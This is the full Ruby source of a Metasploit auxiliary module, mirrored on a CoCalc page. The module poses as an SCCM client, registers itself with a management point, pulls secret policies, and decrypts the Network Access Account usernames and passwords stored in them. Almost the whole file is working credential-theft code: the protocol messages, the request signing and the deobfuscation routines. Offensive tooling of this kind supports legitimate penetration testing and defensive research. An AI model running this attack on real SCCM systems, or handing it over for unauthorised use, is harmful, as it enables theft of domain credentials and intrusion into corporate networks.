CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place. Commercial Alternative to JupyterHub.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/auxiliary/admin/sccm/get_naa_credentials.rb
Views: 18092
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
require 'time'
6
require 'nokogiri'
7
require 'rasn1'
8
9
class MetasploitModule < Msf::Auxiliary
10
include Msf::Auxiliary::Report
11
include Msf::Exploit::Remote::HttpClient
12
include Msf::Exploit::Remote::LDAP
13
include Msf::OptionalSession::LDAP
14
15
KEY_SIZE = 2048
16
SECRET_POLICY_FLAG = 4
17
18
def initialize(info = {})
19
super(
20
update_info(
21
info,
22
'Name' => 'Get NAA Credentials',
23
'Description' => %q{
24
This module attempts to retrieve the Network Access Account(s), if configured, from the SCCM server.
25
This requires a computer account, which can be added using the samr_account module.
26
},
27
'Author' => [
28
'xpn', # Initial research
29
'skelsec', # Initial obfuscation port
30
'smashery' # module author
31
],
32
'References' => [
33
['URL', 'https://blog.xpnsec.com/unobfuscating-network-access-accounts/'],
34
['URL', 'https://github.com/subat0mik/Misconfiguration-Manager/blob/main/attack-techniques/CRED/CRED-2/cred-2_description.md'],
35
['URL', 'https://github.com/Mayyhem/SharpSCCM'],
36
['URL', 'https://github.com/garrettfoster13/sccmhunter']
37
],
38
'License' => MSF_LICENSE,
39
'Notes' => {
40
'Stability' => [],
41
'SideEffects' => [CONFIG_CHANGES],
42
'Reliability' => []
43
}
44
)
45
)
46
47
register_options([
48
OptAddressRange.new('RHOSTS', [ false, 'The domain controller (for autodiscovery). Not required if providing a management point and site code' ]),
49
OptPort.new('RPORT', [ false, 'The LDAP port of the domain controller (for autodiscovery). Not required if providing a management point and site code', 389 ]),
50
OptString.new('COMPUTER_USER', [ true, 'The username of a computer account' ]),
51
OptString.new('COMPUTER_PASS', [ true, 'The password of the provided computer account' ]),
52
OptString.new('MANAGEMENT_POINT', [ false, 'The management point (SCCM server) to use' ]),
53
OptString.new('SITE_CODE', [ false, 'The site code to use on the management point' ]),
54
OptInt.new('TIMEOUT', [ true, 'Number of seconds to wait for SCCM DB to update', 10 ]),
55
])
56
57
@session_or_rhost_required = false
58
end
59
60
def find_management_point
61
ldap_connect do |ldap|
62
validate_bind_success!(ldap)
63
64
if (@base_dn = datastore['BASE_DN'])
65
print_status("User-specified base DN: #{@base_dn}")
66
else
67
print_status('Discovering base DN automatically')
68
69
if (@base_dn = ldap.base_dn)
70
print_status("#{ldap.peerinfo} Discovered base DN: #{@base_dn}")
71
else
72
fail_with(Failure::UnexpectedReply, "Couldn't discover base DN!")
73
end
74
end
75
raw_objects = ldap.search(base: @base_dn, filter: '(objectclass=mssmsmanagementpoint)', attributes: ['*'])
76
return nil unless raw_objects.any?
77
78
raw_obj = raw_objects.first
79
80
raw_objects.each do |ro|
81
print_good("Found Management Point: #{ro[:dnshostname].first} (Site code: #{ro[:mssmssitecode].first})")
82
end
83
84
if raw_objects.length > 1
85
print_warning("Found more than one Management Point. Using the first (#{raw_obj[:dnshostname].first})")
86
end
87
88
obj = {}
89
obj[:rhost] = raw_obj[:dnshostname].first
90
obj[:sitecode] = raw_obj[:mssmssitecode].first
91
92
obj
93
rescue Errno::ECONNRESET
94
fail_with(Failure::Disconnected, 'The connection was reset.')
95
rescue Rex::ConnectionError => e
96
fail_with(Failure::Unreachable, e.message)
97
rescue Rex::Proto::Kerberos::Model::Error::KerberosError => e
98
fail_with(Failure::NoAccess, e.message)
99
rescue Net::LDAP::Error => e
100
fail_with(Failure::Unknown, "#{e.class}: #{e.message}")
101
end
102
end
103
104
def run
105
management_point = datastore['MANAGEMENT_POINT']
106
site_code = datastore['SITE_CODE']
107
if management_point.blank? != site_code.blank?
108
fail_with(Failure::BadConfig, 'Provide both MANAGEMENT_POINT and SITE_CODE, or neither (to perform autodiscovery)')
109
end
110
111
if management_point.blank?
112
begin
113
result = find_management_point
114
fail_with(Failure::NotFound, 'Failed to find management point') unless result
115
management_point = result[:rhost]
116
site_code = result[:site_code]
117
rescue ::IOError => e
118
fail_with(Failure::UnexpectedReply, e.message)
119
end
120
end
121
122
key, cert = generate_key_and_cert('ConfigMgr Client')
123
124
http_opts = {
125
'rhost' => management_point,
126
'rport' => 80,
127
'username' => datastore['COMPUTER_USER'],
128
'password' => datastore['COMPUTER_PASS'],
129
'headers' => {
130
'User-Agent' => 'ConfigMgr Messaging HTTP Sender',
131
'Accept-Encoding' => 'gzip, deflate',
132
'Accept' => '*/*'
133
}
134
}
135
136
sms_id, ip_address = register_request(http_opts, management_point, key, cert)
137
print_status("Waiting #{datastore['TIMEOUT']} seconds for SCCM DB to update...")
138
139
sleep(datastore['TIMEOUT'])
140
141
secret_urls = get_secret_policies(http_opts, management_point, site_code, key, cert, sms_id)
142
all_results = Set.new
143
secret_urls.each do |url|
144
decrypted_policy = request_policy(http_opts, url, sms_id, key)
145
results = get_creds_from_policy_doc(decrypted_policy)
146
all_results.merge(results)
147
end
148
149
if all_results.empty?
150
print_status('No NAA credentials configured')
151
end
152
153
all_results.each do |username, password|
154
report_creds(ip_address, username, password)
155
print_good("Found valid NAA credentials: #{username}:#{password}")
156
end
157
rescue SocketError => e
158
fail_with(Failure::Unreachable, e.message)
159
end
160
161
# Request the policy from the policy_url
162
def request_policy(http_opts, policy_url, sms_id, key)
163
policy_url.gsub!(%r{^https?://<mp>}, '')
164
policy_url = policy_url.gsub('{', '%7B').gsub('}', '%7D')
165
166
now = Time.now.utc.iso8601
167
client_token = "GUID:#{sms_id};#{now};2"
168
client_signature = rsa_sign(key, (client_token + "\x00").encode('utf-16le').bytes.pack('C*'))
169
170
opts = http_opts.merge({
171
'uri' => policy_url,
172
'method' => 'GET'
173
})
174
opts['headers'] = opts['headers'].merge({
175
'ClientToken' => client_token,
176
'ClientTokenSignature' => client_signature
177
})
178
179
http_response = send_request_cgi(opts)
180
http_response.gzip_decode!
181
182
ci = Rex::Proto::CryptoAsn1::Cms::ContentInfo.parse(http_response.body)
183
cms_envelope = ci.enveloped_data
184
185
ri = cms_envelope[:recipient_infos]
186
if ri.value.empty?
187
fail_with(Failure::UnexpectedReply, 'No recipient infos provided')
188
end
189
190
if ri[0][:ktri].nil?
191
fail_with(Failure::UnexpectedReply, 'KeyTransRecipientInfo not found')
192
end
193
194
body = cms_envelope[:encrypted_content_info][:encrypted_content].value
195
196
key_encryption_alg = ri[0][:ktri][:key_encryption_algorithm][:algorithm].value
197
encrypted_rsa_key = ri[0][:ktri][:encrypted_key].value
198
if key_encryption_alg == Rex::Proto::CryptoAsn1::OIDs::OID_RSA_ENCRYPTION.value
199
decrypted_key = key.private_decrypt(encrypted_rsa_key)
200
elsif key_encryption_alg == Rex::Proto::CryptoAsn1::OIDs::OID_RSAES_OAEP.value
201
decrypted_key = key.private_decrypt(encrypted_rsa_key, OpenSSL::PKey::RSA::PKCS1_OAEP_PADDING)
202
else
203
fail_with(Failure::UnexpectedReply, "Key encryption routine is currently unsupported: #{key_encryption_alg}")
204
end
205
206
cea = cms_envelope[:encrypted_content_info][:content_encryption_algorithm]
207
algorithms = {
208
Rex::Proto::CryptoAsn1::OIDs::OID_AES256_CBC.value => { iv_length: 16, key_length: 32, cipher_name: 'aes-256-cbc' },
209
Rex::Proto::CryptoAsn1::OIDs::OID_DES_EDE3_CBC.value => { iv_length: 8, key_length: 24, cipher_name: 'des-ede3-cbc' }
210
}
211
if algorithms.include?(cea[:algorithm].value)
212
alg_hash = algorithms[cea[:algorithm].value]
213
if decrypted_key.length != alg_hash[:key_length]
214
fail_with(Failure::UnexpectedReply, "Bad key length: #{decrypted_key.length}")
215
end
216
iv = RASN1::Types::OctetString.new
217
iv.parse!(cea[:parameters].value)
218
if iv.value.length != alg_hash[:iv_length]
219
fail_with(Failure::UnexpectedReply, "Bad IV length: #{iv.length}")
220
end
221
cipher = OpenSSL::Cipher.new(alg_hash[:cipher_name])
222
cipher.decrypt
223
cipher.key = decrypted_key
224
cipher.iv = iv.value
225
226
decrypted = cipher.update(body) + cipher.final
227
else
228
fail_with(Failure::UnexpectedReply, "Decryption routine is currently unsupported: #{cea[:algorithm].value}")
229
end
230
231
decrypted.force_encoding('utf-16le').encode('utf-8').delete_suffix("\x00")
232
end
233
234
# Retrieve all the policies with secret components in them
235
def get_secret_policies(http_opts, management_point, site_code, key, cert, sms_id)
236
computer_user = datastore['COMPUTER_USER'].delete_suffix('$')
237
fqdn = "#{computer_user}.#{datastore['DOMAIN']}"
238
hex_pub_key = make_ms_pubkey(cert.public_key)
239
guid = SecureRandom.uuid.upcase
240
sent_time = Time.now.utc.iso8601
241
sccm_host = management_point.downcase
242
request_assignments = "<RequestAssignments SchemaVersion=\"1.00\" ACK=\"false\" RequestType=\"Always\"><Identification><Machine><ClientID>GUID:#{sms_id}</ClientID><FQDN>#{fqdn}</FQDN><NetBIOSName>#{computer_user}</NetBIOSName><SID /></Machine><User /></Identification><PolicySource>SMS:#{site_code}</PolicySource><Resource ResourceType=\"Machine\" /><ServerCookie /></RequestAssignments>\x00"
243
request_assignments.encode!('utf-16le')
244
body_length = request_assignments.bytes.length
245
request_assignments = request_assignments.bytes.pack('C*') + "\r\n"
246
compressed = Rex::Text.zlib_deflate(request_assignments)
247
248
payload_signature = rsa_sign(key, compressed)
249
250
client_id = "GUID:{#{sms_id.upcase}}\x00"
251
client_ids_signature = rsa_sign(key, client_id.encode('utf-16le'))
252
header = "<Msg ReplyCompression=\"zlib\" SchemaVersion=\"1.1\"><Body Type=\"ByteRange\" Length=\"#{body_length}\" Offset=\"0\" /><CorrelationID>{00000000-0000-0000-0000-000000000000}</CorrelationID><Hooks><Hook2 Name=\"clientauth\"><Property Name=\"AuthSenderMachine\">#{computer_user}</Property><Property Name=\"PublicKey\">#{hex_pub_key}</Property><Property Name=\"ClientIDSignature\">#{client_ids_signature}</Property><Property Name=\"PayloadSignature\">#{payload_signature}</Property><Property Name=\"ClientCapabilities\">NonSSL</Property><Property Name=\"HashAlgorithm\">1.2.840.113549.1.1.11</Property></Hook2><Hook3 Name=\"zlib-compress\" /></Hooks><ID>{#{guid}}</ID><Payload Type=\"inline\" /><Priority>0</Priority><Protocol>http</Protocol><ReplyMode>Sync</ReplyMode><ReplyTo>direct:#{computer_user}:SccmMessaging</ReplyTo><SentTime>#{sent_time}</SentTime><SourceID>GUID:#{sms_id}</SourceID><SourceHost>#{computer_user}</SourceHost><TargetAddress>mp:MP_PolicyManager</TargetAddress><TargetEndpoint>MP_PolicyManager</TargetEndpoint><TargetHost>#{sccm_host}</TargetHost><Timeout>60000</Timeout></Msg>"
253
254
message = Rex::MIME::Message.new
255
message.bound = 'aAbBcCdDv1234567890VxXyYzZ'
256
257
message.add_part("\ufeff#{header}".encode('utf-16le').bytes.pack('C*'), 'text/plain; charset=UTF-16', nil)
258
message.add_part(compressed, 'application/octet-stream', 'binary')
259
opts = http_opts.merge({
260
'uri' => '/ccm_system/request',
261
'method' => 'CCM_POST',
262
'data' => message.to_s
263
})
264
opts['headers'] = opts['headers'].merge({
265
'Content-Type' => 'multipart/mixed; boundary="aAbBcCdDv1234567890VxXyYzZ"'
266
})
267
http_response = send_request_cgi(opts)
268
response = Rex::MIME::Message.new(http_response.to_s)
269
270
fail_with(Failure::UnexpectedReply, 'No content received in request for policies, try increasing TIMEOUT or rerunning the module.') unless response.parts[1]&.content
271
compressed_response = Rex::Text.zlib_inflate(response.parts[1].content).force_encoding('utf-16le')
272
xml_doc = Nokogiri::XML(compressed_response.encode('utf-8'))
273
policies = xml_doc.xpath('//Policy')
274
secret_policies = policies.select do |policy|
275
flags = policy.attributes['PolicyFlags']
276
next if flags.nil?
277
278
flags.value.to_i & SECRET_POLICY_FLAG == SECRET_POLICY_FLAG
279
end
280
281
urls = secret_policies.map do |policy|
282
policy.xpath('PolicyLocation/text()').text
283
end
284
285
urls = urls.reject(&:blank?)
286
287
urls.each do |url|
288
print_status("Found policy containing secrets: #{url}")
289
end
290
291
urls
292
end
293
294
# Sign the data using the RSA key, and reverse it (strange, but it's what's required)
295
def rsa_sign(key, data)
296
signature = key.sign(OpenSSL::Digest.new('SHA256'), data)
297
signature.reverse!
298
299
signature.unpack('H*')[0].upcase
300
end
301
302
# Make a pubkey structure (https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-mqqb/ade9efde-3ec8-4e47-9ae9-34b64d8081bb)
303
def make_ms_pubkey(pub_key)
304
result = "\x06\x02\x00\x00\x00\xA4\x00\x00\x52\x53\x41\x31"
305
result += [KEY_SIZE, pub_key.e].pack('II')
306
result += [pub_key.n.to_s(16)].pack('H*')
307
308
result.unpack('H*')[0]
309
end
310
311
# Make a request to the SCCM server to register our computer
312
def register_request(http_opts, management_point, key, cert)
313
pub_key = cert.to_der.unpack('H*')[0].upcase
314
315
computer_user = datastore['COMPUTER_USER'].delete_suffix('$')
316
fqdn = "#{computer_user}.#{datastore['DOMAIN']}"
317
sent_time = Time.now.utc.iso8601
318
registration_request_data = "<Data HashAlgorithm=\"1.2.840.113549.1.1.11\" SMSID=\"\" RequestType=\"Registration\" TimeStamp=\"#{sent_time}\"><AgentInformation AgentIdentity=\"CCMSetup.exe\" AgentVersion=\"5.00.8325.0000\" AgentType=\"0\" /><Certificates><Encryption Encoding=\"HexBinary\" KeyType=\"1\">#{pub_key}</Encryption><Signing Encoding=\"HexBinary\" KeyType=\"1\">#{pub_key}</Signing></Certificates><DiscoveryProperties><Property Name=\"Netbios Name\" Value=\"#{computer_user}\" /><Property Name=\"FQ Name\" Value=\"#{fqdn}\" /><Property Name=\"Locale ID\" Value=\"1033\" /><Property Name=\"InternetFlag\" Value=\"0\" /></DiscoveryProperties></Data>"
319
320
signature = rsa_sign(key, registration_request_data.encode('utf-16le'))
321
322
registration_request = "<ClientRegistrationRequest>#{registration_request_data}<Signature><SignatureValue>#{signature}</SignatureValue></Signature></ClientRegistrationRequest>\x00"
323
324
rr_utf16 = ''
325
rr_utf16 << registration_request.encode('utf-16le').bytes.pack('C*')
326
body_length = rr_utf16.length
327
rr_utf16 << "\r\n"
328
329
header = "<Msg ReplyCompression=\"zlib\" SchemaVersion=\"1.1\"><Body Type=\"ByteRange\" Length=\"#{body_length}\" Offset=\"0\" /><CorrelationID>{00000000-0000-0000-0000-000000000000}</CorrelationID><Hooks><Hook3 Name=\"zlib-compress\" /></Hooks><ID>{5DD100CD-DF1D-45F5-BA17-A327F43465F8}</ID><Payload Type=\"inline\" /><Priority>0</Priority><Protocol>http</Protocol><ReplyMode>Sync</ReplyMode><ReplyTo>direct:#{computer_user}:SccmMessaging</ReplyTo><SentTime>#{sent_time}</SentTime><SourceHost>#{computer_user}</SourceHost><TargetAddress>mp:MP_ClientRegistration</TargetAddress><TargetEndpoint>MP_ClientRegistration</TargetEndpoint><TargetHost>#{management_point.downcase}</TargetHost><Timeout>60000</Timeout></Msg>"
330
331
message = Rex::MIME::Message.new
332
message.bound = 'aAbBcCdDv1234567890VxXyYzZ'
333
334
message.add_part("\ufeff#{header}".encode('utf-16le').bytes.pack('C*'), 'text/plain; charset=UTF-16', nil)
335
message.add_part(Rex::Text.zlib_deflate(rr_utf16), 'application/octet-stream', 'binary')
336
337
opts = http_opts.merge({
338
'uri' => '/ccm_system_windowsauth/request',
339
'method' => 'CCM_POST',
340
'data' => message.to_s
341
})
342
opts['headers'] = opts['headers'].merge({
343
'Content-Type' => 'multipart/mixed; boundary="aAbBcCdDv1234567890VxXyYzZ"'
344
})
345
http_response = send_request_cgi(opts)
346
if http_response.nil?
347
fail_with(Failure::Unreachable, 'No response from server')
348
end
349
ip_address = http_response.peerinfo['addr']
350
response = Rex::MIME::Message.new(http_response.to_s)
351
if response.parts.empty?
352
html_doc = Nokogiri::HTML(http_response.to_s)
353
error = html_doc.xpath('//title').text
354
if error.blank?
355
error = 'Bad response from server'
356
dlog('Response from server:')
357
dlog(http_response.to_s)
358
end
359
fail_with(Failure::UnexpectedReply, error)
360
end
361
362
response.parts[0].content.force_encoding('utf-16le').encode('utf-8').delete_prefix("\uFEFF")
363
compressed_response = Rex::Text.zlib_inflate(response.parts[1].content).force_encoding('utf-16le')
364
xml_doc = Nokogiri::XML(compressed_response.encode('utf-8')) # It's crazy, but XML parsing doesn't work with UTF-16-encoded strings
365
sms_id = xml_doc.root&.attributes&.[]('SMSID')&.value&.delete_prefix('GUID:')
366
if sms_id.nil?
367
approval = xml_doc.root&.attributes&.[]('ApprovalStatus')&.value
368
if approval == '-1'
369
fail_with(Failure::UnexpectedReply, 'Client registration not approved by SCCM server')
370
end
371
fail_with(Failure::UnexpectedReply, 'Did not retrieve SMS ID')
372
end
373
print_status("Got SMS ID: #{sms_id}")
374
375
[sms_id, ip_address]
376
end
377
378
# Extract obfuscated credentials from the resulting policy XML document
379
def get_creds_from_policy_doc(policy)
380
xml_doc = Nokogiri::XML(policy)
381
naa_sections = xml_doc.xpath(".//instance[@class='CCM_NetworkAccessAccount']")
382
results = []
383
naa_sections.each do |section|
384
username = section.xpath("property[@name='NetworkAccessUsername']/value").text
385
username = deobfuscate_policy_value(username)
386
username.delete_suffix!("\x00")
387
388
password = section.xpath("property[@name='NetworkAccessPassword']/value").text
389
password = deobfuscate_policy_value(password)
390
password.delete_suffix!("\x00")
391
392
unless username.blank? && password.blank?
393
# Deleted credentials seem to result in just an empty value for username and password
394
results.append([username, password])
395
end
396
end
397
results
398
end
399
400
def deobfuscate_policy_value(value)
401
value = [value.gsub(/[^0-9A-Fa-f]/, '')].pack('H*')
402
data_length = value[52..55].unpack('I')[0]
403
buffer = value[64..64 + data_length - 1]
404
key = mscrypt_derive_key_sha1(value[4..43])
405
iv = "\x00" * 8
406
cipher = OpenSSL::Cipher.new('des-ede3-cbc')
407
cipher.decrypt
408
cipher.iv = iv
409
cipher.key = key
410
result = cipher.update(buffer) + cipher.final
411
412
result.force_encoding('utf-16le').encode('utf-8')
413
end
414
415
def mscrypt_derive_key_sha1(secret)
416
buf1 = [0x36] * 64
417
buf2 = [0x5C] * 64
418
419
digest = OpenSSL::Digest.new('SHA1')
420
hash = digest.digest(secret).bytes
421
422
hash.each_with_index do |byte, i|
423
buf1[i] ^= byte
424
buf2[i] ^= byte
425
end
426
427
buf1 = buf1.pack('C*')
428
buf2 = buf2.pack('C*')
429
430
digest = OpenSSL::Digest.new('SHA1')
431
hash1 = digest.digest(buf1)
432
433
digest = OpenSSL::Digest.new('SHA1')
434
hash2 = digest.digest(buf2)
435
436
hash1 + hash2[0..3]
437
end
438
439
## Create a self-signed private key and certificate for our computer registration
440
def generate_key_and_cert(subject)
441
key = OpenSSL::PKey::RSA.new(KEY_SIZE)
442
cert = OpenSSL::X509::Certificate.new
443
cert.version = 2
444
cert.serial = (rand(0xFFFFFFFF) << 32) + rand(0xFFFFFFFF)
445
cert.public_key = key.public_key
446
cert.issuer = OpenSSL::X509::Name.new([['CN', subject]])
447
cert.subject = OpenSSL::X509::Name.new([['CN', subject]])
448
yr = 24 * 3600 * 365
449
cert.not_before = Time.at(Time.now.to_i - rand(yr * 3) - yr)
450
cert.not_after = Time.at(cert.not_before.to_i + (rand(4..9) * yr))
451
ef = OpenSSL::X509::ExtensionFactory.new
452
ef.subject_certificate = cert
453
ef.issuer_certificate = cert
454
cert.extensions = [
455
ef.create_extension('keyUsage', 'digitalSignature,dataEncipherment'),
456
ef.create_extension('extendedKeyUsage', '1.3.6.1.4.1.311.101.2, 1.3.6.1.4.1.311.101'),
457
]
458
cert.sign(key, OpenSSL::Digest.new('SHA256'))
459
460
[key, cert]
461
end
462
463
def report_creds(ip_address, user, password)
464
service_data = {
465
address: ip_address,
466
port: rport,
467
protocol: 'tcp',
468
service_name: 'sccm',
469
workspace_id: myworkspace_id
470
}
471
472
domain, account = user.split(/\\/)
473
credential_data = {
474
origin_type: :service,
475
module_fullname: fullname,
476
username: account,
477
private_data: password,
478
private_type: :password,
479
realm_key: Metasploit::Model::Realm::Key::ACTIVE_DIRECTORY_DOMAIN,
480
realm_value: domain
481
}
482
credential_core = create_credential(credential_data.merge(service_data))
483
484
login_data = {
485
core: credential_core,
486
status: Metasploit::Model::Login::Status::UNTRIED
487
}
488
489
create_credential_login(login_data.merge(service_data))
490
end
491
end
492
493